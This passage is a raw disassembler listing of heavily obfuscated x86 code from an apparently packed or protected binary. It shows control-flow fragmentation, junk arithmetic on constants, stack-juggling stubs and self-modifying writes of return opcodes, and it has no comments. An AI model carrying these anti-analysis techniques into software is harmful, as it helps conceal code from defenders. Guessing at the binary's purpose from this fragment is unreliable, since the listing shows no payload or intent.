; END OF FUNCTION CHUNK	FOR sub_7514AC

; =============== S U B	R O U T	I N E =======================================



sub_7507FE	proc near		; DATA XREF: sub_748E45-DCEo
		add	ebx, 0BFDDE038h
		popf
		add	eax, ebx
		push	offset sub_748DCB


loc_75080C:				; CODE XREF: _0z4jwtox:loc_754516j
		jmp	nullsub_221
sub_7507FE	endp

; ---------------------------------------------------------------------------


loc_750811:				; DATA XREF: sub_754729:loc_745A59o
		jns	loc_74AAA0
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_754B5C
		jmp	loc_75726A
; ---------------------------------------------------------------------------


loc_75082B:				; DATA XREF: _0z4jwtox:loc_74CDD2o
		add	edi, 0B7684EF4h
		popf
		call	sub_7474E3
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_750837:				; CODE XREF: sub_747AEC+6DABj
		jmp	loc_745B82
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_75083C:				; CODE XREF: sub_74946E:loc_746DF9j
					; sub_74946E+40D5j
		push	0AE2EA7C5h
		pop	eax
		and	eax, 0F975BD05h
		jnz	loc_74B837
		sbb	eax, 61AE9199h


loc_750854:				; CODE XREF: _0z4jwtox:loc_750275j
		popf
		xor	edi, 0B1B04D22h
		jmp	loc_74B834
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_750860:				; CODE XREF: sub_74FE55-4F22j
		push	eax


loc_750861:				; CODE XREF: sub_74FE55:loc_7482A4j
					; sub_74FE55-5A8Aj ...
		jmp	nullsub_2
; ---------------------------------------------------------------------------


loc_750866:				; CODE XREF: sub_74FE55+25D8j
					; sub_74FE55:loc_75685Bj
		call	sub_74720A


loc_75086B:				; CODE XREF: sub_74BA04-305Fj
		jmp	loc_755B07
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
		and	ecx, 0E539B719h
		jmp	loc_750C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_75087B:				; CODE XREF: sub_749010:loc_747211j
		jz	loc_74F776
		jmp	loc_753F5C
; END OF FUNCTION CHUNK	FOR sub_749010
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_750887	proc near		; CODE XREF: sub_74CAC3+2327p
					; _0z4jwtox:007577CDj

; FUNCTION CHUNK AT 00756A05 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, nullsub_272
		mov	byte ptr [eax],	0C3h
		jmp	loc_756A05
sub_750887	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ecx, [esp]


loc_75089C:				; CODE XREF: _0z4jwtox:loc_75223Fj
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_74E56A

; =============== S U B	R O U T	I N E =======================================



sub_7508A4	proc near		; CODE XREF: _0z4jwtox:00748E2Fj
					; _0z4jwtox:0075673Cp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00752A65 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00753EE8 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	ebp
		jmp	loc_753EE8
sub_7508A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_7508AF:				; CODE XREF: sub_74FA7E:loc_750229j
		sub	ebx, edi
		push	4DE709D3h
		xor	edi, esi
		jmp	loc_74F2F7
; END OF FUNCTION CHUNK	FOR sub_74FA7E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_7508BD	proc near		; CODE XREF: sub_757151-3E3j
		retn
sub_7508BD	endp

; ---------------------------------------------------------------------------


loc_7508BE:				; CODE XREF: _0z4jwtox:007577D8j
		jbe	loc_7574AD

; =============== S U B	R O U T	I N E =======================================



sub_7508C4	proc near		; CODE XREF: sub_746D0D+7430p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 344FD5C6h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_746E93
sub_7508C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C8E


loc_7508D6:				; CODE XREF: sub_752C8E:loc_750490j
					; _0z4jwtox:007504A9j
		add	edx, 7B1EFDB9h
		push	747FD7h
		jmp	nullsub_288
; END OF FUNCTION CHUNK	FOR sub_752C8E

; =============== S U B	R O U T	I N E =======================================



sub_7508E6	proc near		; CODE XREF: _0z4jwtox:0074D8FBj
					; sub_74624E:loc_751433p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00754477 SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_745715
		jmp	loc_754477
sub_7508E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7508F9	proc near		; CODE XREF: sub_750243-3A17p

; FUNCTION CHUNK AT 007451C6 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00746400 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00746C47 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007486E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00748EAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C8BF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074C910 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00754191 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		shl	dword ptr [ebp-8], 8


loc_750901:				; CODE XREF: sub_757498:loc_749820j
					; sub_7473D1:loc_756D89j
		js	loc_746400
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_74C910
sub_7508F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_750912:				; CODE XREF: sub_74F15D:loc_7466AFj
		push	0F0D79C05h
		pop	edi
		add	edi, 0C8D6A11Ch
		sub	edi, 6C2CF9C3h
		rol	edi, 18h
		push	offset loc_755222
		jmp	loc_751550
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA29


loc_750931:				; CODE XREF: sub_74BA29+1j
		mov	ebp, esp
		jno	sub_74E7AE
		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		push	offset sub_753B3E
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_74BA29
; ---------------------------------------------------------------------------


loc_75094C:				; CODE XREF: _0z4jwtox:loc_754160j
					; _0z4jwtox:00754170j
		sub	ebx, 9FB02B0Fh
		add	ebx, 0A023D74Ah
		xchg	ebx, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_750960:				; CODE XREF: sub_745911:loc_74BB71j
					; _0z4jwtox:00754044j
		mov	[ebp+var_5], al
		call	sub_748B7B


loc_750968:				; CODE XREF: sub_74A83D+5551j
		jmp	loc_745843
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
		or	eax, 2D4C3FCBh
		ror	edx, 0Fh
		jmp	loc_7481F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_75097B:				; CODE XREF: sub_748DCB:loc_747BF1j
		pop	eax
		add	eax, 0B15AD644h
		cmp	eax, 379BE3E6h
		jmp	loc_7546A9
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------


loc_75098D:				; CODE XREF: _0z4jwtox:loc_7490ECj
		jnz	loc_749E03
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_750993:				; CODE XREF: sub_753FCE-5C5Aj
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
		mov	[eax], edi
		jmp	loc_749E00
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_7509A0:				; CODE XREF: sub_749306-2463j
		pushf
		jmp	loc_74937F
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------


loc_7509A6:				; CODE XREF: _0z4jwtox:00752EEDj
		push	edi
		push	ebx
		push	13E239CEh
		pop	ebx
		xor	ebx, 0FA591256h
		add	ebx, 16BA0F08h
		jmp	loc_74EAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7509BF:				; CODE XREF: sub_75364C+Aj
		mov	al, [eax]
		jno	loc_750269
		sub	al, 99h
		push	offset loc_7543A3
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_7509D3:				; CODE XREF: sub_74D782+777Aj
		cmp	eax, 47AB5769h
		jmp	loc_745DE6
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_7509DE:				; CODE XREF: sub_7541BA-B4E2j
		xor	esi, ebp
; END OF FUNCTION CHUNK	FOR sub_7541BA

; =============== S U B	R O U T	I N E =======================================



sub_7509E0	proc near		; CODE XREF: sub_748538+9p

; FUNCTION CHUNK AT 0074A02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074AF75 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 0B4744145h
		jmp	loc_74A02C
sub_7509E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_7509EF:				; CODE XREF: sub_7557E7-9E5Dj
		pop	ebp
		add	ecx, 6BEDBD5Dh
		test	ecx, 40000000h
		jmp	loc_7502AB
; END OF FUNCTION CHUNK	FOR sub_7557E7

; =============== S U B	R O U T	I N E =======================================



sub_750A01	proc near		; DATA XREF: sub_747736+Ao

; FUNCTION CHUNK AT 0074589D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074D492 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00753D51 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755009 SIZE 00000005 BYTES

		cmp	dword ptr [ebp-10h], 0
		jnz	loc_753D51
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_74D492
sub_750A01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_750A14:				; CODE XREF: _0z4jwtox:00750F29j
		jbe	loc_7536DF
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_750A1A:				; CODE XREF: sub_752C44:loc_750F13j
		add	esi, 0C066BC5Ch
		push	offset loc_74FCE1
		jmp	loc_7515C0
; END OF FUNCTION CHUNK	FOR sub_752C44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_750A2B:				; CODE XREF: _0z4jwtox:007502E1j
		jmp	sub_755148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75740D


loc_750A30:				; CODE XREF: sub_75740D+6j
		xchg	ebx, [esp+4+var_4]
		mov	edx, ecx
		push	offset loc_74C235
		jmp	loc_752452
; END OF FUNCTION CHUNK	FOR sub_75740D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476BB


loc_750A3F:				; CODE XREF: sub_7476BB:loc_74D6B2j
		pop	ebx
		or	ebx, 0EB33F7ABh
		xor	ebx, 9CEEC81Dh
		and	ebx, 1D3EF65Ch
		sub	ebx, 3B767E31h
		add	ebx, 2A9C3881h
		jmp	loc_756A35
; END OF FUNCTION CHUNK	FOR sub_7476BB

; =============== S U B	R O U T	I N E =======================================



sub_750A63	proc near		; CODE XREF: _0z4jwtox:00753A1Bj
					; sub_74F69D+7584p

; FUNCTION CHUNK AT 007538AE SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_746E93
		push	esi
		push	6CDCF22h
		jmp	loc_7538AE
sub_750A63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_750A77:				; CODE XREF: sub_74673E+662Fj
		jno	loc_756609


loc_750A7D:				; CODE XREF: sub_74673E:loc_74C8CDj
		add	edi, 0C0AC75D2h
		xchg	edi, [esp-0Ch+arg_8]
		jmp	loc_746A5D
; END OF FUNCTION CHUNK	FOR sub_74673E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_750A8C:				; CODE XREF: _0z4jwtox:007456F4j
		jnz	locret_75759C
		jmp	loc_74752D
; ---------------------------------------------------------------------------
		jz	loc_75772D
		jmp	loc_74B7D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_750AA2:				; CODE XREF: sub_74CBCF-7A51j
		jl	loc_74BF60
		jl	loc_7520EC
		jmp	loc_74BF52
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_750AB3:				; CODE XREF: sub_74CF35:loc_747CD0j
		jz	loc_7576BD
; END OF FUNCTION CHUNK	FOR sub_74CF35
; START	OF FUNCTION CHUNK FOR sub_747B76


loc_750AB9:				; CODE XREF: sub_747B76+2C24j
		jmp	loc_75483C
; END OF FUNCTION CHUNK	FOR sub_747B76
; ---------------------------------------------------------------------------
		shr	ebp, 1
		test	eax, 0DED1A80Ch
		jmp	loc_74C5A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_750ACB:				; CODE XREF: sub_74D4D3:loc_74AE08j
		mov	ecx, edx
		xchg	ecx, [esp-4+arg_0]
		call	sub_75740D
		push	0AAADFB71h
		pop	eax
		or	eax, 7A8DC4A2h
		jmp	loc_748D7A
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------


loc_750AE6:				; CODE XREF: _0z4jwtox:00745CD6j
		push	3A320D1Fh

; =============== S U B	R O U T	I N E =======================================



sub_750AEB	proc near		; CODE XREF: _0z4jwtox:0074647Dp
		xchg	ebx, [esp+0]
sub_750AEB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747736


loc_750AEE:				; CODE XREF: sub_747736:loc_753AEAj
		pop	ebx
		push	ebx
		push	401E6EEEh
		jmp	loc_74A6BF
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		jle	loc_749DB5
		jmp	loc_7558CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_750B05:				; CODE XREF: sub_74CF35-430Dj
					; sub_746E37+A181j
		pop	eax
		xor	eax, 7DBC547Dh
		and	eax, 5A34D795h
		add	eax, 0E517B7AFh
		call	sub_746E93
		push	edi
		push	16697046h
		xchg	esi, [esp+0]
		jmp	loc_74C994
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_750B2B:				; CODE XREF: sub_746163:loc_74616Fj
		jnz	loc_74FF65
		add	esi, 0D3F8511Eh
		adc	ecx, ebx
		jmp	loc_74A242
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_750B3E:				; CODE XREF: _0z4jwtox:00746864j
		cmp	ebx, 0A5240A2h
		jmp	loc_74B0BA

; =============== S U B	R O U T	I N E =======================================



sub_750B49	proc near		; CODE XREF: _0z4jwtox:0074D2D9j
					; _0z4jwtox:0074D97Ap

; FUNCTION CHUNK AT 00752531 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	edx
		lea	eax, sub_7467F4
		mov	byte ptr [eax],	0C3h
		jmp	loc_752531
sub_750B49	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_750B5C	proc near		; CODE XREF: sub_40C212+34p
					; .text:00412820p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074ABAD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753D9D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007576B8 SIZE 00000005 BYTES

		push	esi
		push	98ED97C7h
		pop	esi
		jmp	loc_7576B8
sub_750B5C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D424


loc_750B69:				; CODE XREF: sub_74D424+Cj
		jmp	loc_749CC1
; END OF FUNCTION CHUNK	FOR sub_74D424
; ---------------------------------------------------------------------------
		push	93371E97h
		pop	eax
		or	eax, 0C27355F1h
		rol	eax, 19h
		call	sub_74BFF8
; START	OF FUNCTION CHUNK FOR sub_747290


loc_750B82:				; CODE XREF: sub_747290:loc_74D141j
		mov	eax, [esp+0]
		push	edx
		call	sub_75740D
		push	8869D2D2h
		pop	eax
		rol	eax, 19h
		and	eax, 201B6810h
		sub	eax, 0CD61F9D4h
		jmp	loc_74F123
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_750BA5:				; CODE XREF: sub_747736:loc_7493FEj
		jz	loc_7494F9
		jmp	loc_752203
; END OF FUNCTION CHUNK	FOR sub_747736

; =============== S U B	R O U T	I N E =======================================



sub_750BB0	proc near		; DATA XREF: _0z4jwtox:0074DA52o
		push	eax
sub_750BB0	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_750BB1:				; CODE XREF: sub_7572F3:loc_74A398j
		call	sub_74FEAF
; END OF FUNCTION CHUNK	FOR sub_7572F3
; START	OF FUNCTION CHUNK FOR sub_754A60


loc_750BB6:				; CODE XREF: sub_754A60-792j
		jmp	sub_755F42
; END OF FUNCTION CHUNK	FOR sub_754A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_750BBB:				; CODE XREF: sub_74C3EB-6EB3j
		jns	loc_7526F4
		mov	[ebp+0], eax
; END OF FUNCTION CHUNK	FOR sub_74C3EB
; START	OF FUNCTION CHUNK FOR sub_747736


loc_750BC4:				; CODE XREF: sub_747736+B305j
		jmp	loc_750C69
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_750BC9:				; CODE XREF: sub_747C39+Aj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_751007
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_750BD5:				; CODE XREF: sub_74E693-90A1j
		jge	loc_74C473
; END OF FUNCTION CHUNK	FOR sub_74E693
; START	OF FUNCTION CHUNK FOR sub_746640


loc_750BDB:				; CODE XREF: sub_746640-E4Ej
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
		xor	ebx, eax
		jmp	loc_74C468
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_750BE7:				; CODE XREF: sub_74B1F1:loc_7525B8j
		jnz	loc_748A52
		jmp	loc_75254A
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
		push	ecx
		push	9E040D3Ah
		pop	ecx
		rol	ecx, 1Ch
		add	ecx, 0F8780404h
		sub	ecx, 0A1ED1006h
		jmp	loc_748C56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AC6D


loc_750C0D:				; CODE XREF: sub_74AC6D:loc_74AF38j
		mov	eax, [esp-8+arg_4]
		push	esi
		mov	esi, edx
		xchg	esi, [esp-4+arg_0]
		push	eax
		jmp	loc_756749
; END OF FUNCTION CHUNK	FOR sub_74AC6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_750C1C:				; CODE XREF: sub_74D1F3:loc_748DB2j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7554A8
		jmp	loc_747286
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------


loc_750C2A:				; CODE XREF: _0z4jwtox:00750876j
		rol	ebp, 7

; =============== S U B	R O U T	I N E =======================================



sub_750C2D	proc near		; CODE XREF: sub_7457DD+FF34p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00746102 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074719B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747AC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007495C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D8B4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 007513EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00755EB9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007565BE SIZE 0000000B BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		xchg	edi, [esp-8+arg_4]
		mov	eax, edi
		jmp	loc_74D8B4
sub_750C2D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_750C3B:				; CODE XREF: sub_7463AE+D092j
		jb	loc_74CDBD
; END OF FUNCTION CHUNK	FOR sub_7463AE
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_750C41:				; CODE XREF: sub_74BFE0-5D51j
					; sub_748FA4+Dj ...
		jmp	loc_74CFD6
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_750C46:				; CODE XREF: sub_7463AE+Aj
					; sub_74BFE0+1093j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_750C49:				; CODE XREF: sub_74CBB7+3AFAj
		jmp	loc_7542A5
; END OF FUNCTION CHUNK	FOR sub_74CBB7

; =============== S U B	R O U T	I N E =======================================



sub_750C4E	proc near		; CODE XREF: _0z4jwtox:loc_745353j
					; _0z4jwtox:00747E0Dj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007480FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007484C2 SIZE 00000005 BYTES

		push	eax
		mov	eax, ebp
		jmp	loc_7480FB
sub_750C4E	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B3EB


loc_750C57:				; CODE XREF: sub_74B3EB+Cj
		jmp	loc_74AA54
; END OF FUNCTION CHUNK	FOR sub_74B3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_750C5C:				; CODE XREF: sub_74D23E-3153j
		jmp	loc_745F0A
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_750C61:				; CODE XREF: sub_746E37+B9A4j
		jnb	loc_7492F4
		sub	edx, ecx
; END OF FUNCTION CHUNK	FOR sub_746E37
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_750C69:				; CODE XREF: sub_7457DD+4A5Aj
					; sub_747C39+62D2j ...
		jmp	loc_74DE58
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_750C6E:				; CODE XREF: sub_74C3EB+6j
					; sub_746389+73A4j
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_74D740
; END OF FUNCTION CHUNK	FOR sub_746389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_750C79:				; CODE XREF: sub_7490F6+9FDj
		and	eax, ebp


loc_750C7B:				; CODE XREF: sub_7490F6:loc_75207Bj
		push	85051DB2h
		pop	eax
		sub	eax, 3B8A7B96h
		add	eax, 0F6C4CD87h
		push	offset loc_74A16B
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------


loc_750C97:				; CODE XREF: _0z4jwtox:007556ABj
		jb	loc_75714B
		pushf
		jmp	loc_756CA3
; ---------------------------------------------------------------------------


loc_750CA3:				; CODE XREF: _0z4jwtox:loc_74C6B3j
					; _0z4jwtox:0074C6C2j
		add	edi, 12A6F44Bh
		call	sub_748551
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B822


loc_750CAF:				; CODE XREF: sub_74B822:loc_74B829j
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_74B829
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_74B822
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_750CC2:				; CODE XREF: sub_752D11-C1ACj
		ja	loc_74901D


loc_750CC8:				; CODE XREF: sub_745A78:loc_752192j
		xor	esi, edx
		jmp	loc_7455CD
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------


loc_750CCF:				; CODE XREF: _0z4jwtox:007493DEj
		jle	loc_74A5EB

; =============== S U B	R O U T	I N E =======================================



sub_750CD5	proc near		; CODE XREF: _0z4jwtox:00753717p
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_747A67
		mov	byte ptr [eax],	0C3h
		jmp	sub_747A67
sub_750CD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_750CE7:				; DATA XREF: sub_756B70+9o
		cmp	ds:dword_74F3A0, 0
		jnz	loc_748F0C
		jmp	loc_7483BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_750CF9:				; CODE XREF: sub_7561AB:loc_7574C3j
		mov	edx, [edx]
		mov	[edx], al
		inc	dword ptr [ebp-28h]
		push	4E7E3198h
		pop	eax
		sub	eax, 0A0AE5019h
		jmp	loc_74EE22
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------


loc_750D11:				; CODE XREF: _0z4jwtox:loc_7548BFj
		xchg	edx, [esp]
		jmp	loc_74D47D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F77


loc_750D19:				; CODE XREF: sub_755F77:loc_74B73Bj
		push	offset sub_7514D2
		jmp	loc_755562
; END OF FUNCTION CHUNK	FOR sub_755F77
; ---------------------------------------------------------------------------


loc_750D23:				; CODE XREF: _0z4jwtox:0074BF9Ej
		jno	loc_748C34

; =============== S U B	R O U T	I N E =======================================



sub_750D29	proc near		; CODE XREF: sub_74BED4:loc_74E8F7p

; FUNCTION CHUNK AT 00746A53 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-20h]
		jmp	loc_746A53
sub_750D29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_750D35	proc near		; DATA XREF: _0z4jwtox:00755E5Ao
		push	3F375ABEh
		pop	edx
		sub	edx, 46630FADh
		or	edx, 0C7DC51B3h
		xor	edx, 4EA07E17h
		jmp	loc_7467DB
sub_750D35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7453FB


loc_750D52:				; CODE XREF: sub_7453FB+9j
		push	offset sub_74F78B
		jmp	loc_751591
; END OF FUNCTION CHUNK	FOR sub_7453FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A372


loc_750D5C:				; CODE XREF: sub_74A372:loc_747472j
		cmp	dword ptr [eax-4], 4
		jnz	loc_750D6F
		add	dword ptr [ebp-8], 4
		jmp	loc_754B85
; ---------------------------------------------------------------------------


loc_750D6F:				; CODE XREF: sub_74A372+69EEj
		add	dword ptr [ebp-8], 2
		jmp	loc_7500DA
; END OF FUNCTION CHUNK	FOR sub_74A372
; ---------------------------------------------------------------------------


loc_750D78:				; CODE XREF: _0z4jwtox:007481C0j
		jnp	nullsub_26
		mov	ebp, 542EB7E5h
; START	OF FUNCTION CHUNK FOR sub_757314


loc_750D83:				; CODE XREF: sub_757314-F166j
		or	ecx, 0F741EF6Ch
		jnz	loc_74FA17
		mov	ecx, [ebp+0]
		jmp	loc_74FA10
; END OF FUNCTION CHUNK	FOR sub_757314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_750D97:				; CODE XREF: sub_752D11-BE10j
		ror	ecx, 17h
		jmp	loc_7573B1
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------


loc_750D9F:				; CODE XREF: _0z4jwtox:007550F3j
		and	ebx, eax
		jg	loc_7566F1
		xor	eax, ecx


loc_750DA9:				; CODE XREF: _0z4jwtox:loc_752E7Aj
		mov	eax, [esp]
		push	ecx
		mov	ecx, ebx
		jmp	loc_74EDF4
; ---------------------------------------------------------------------------


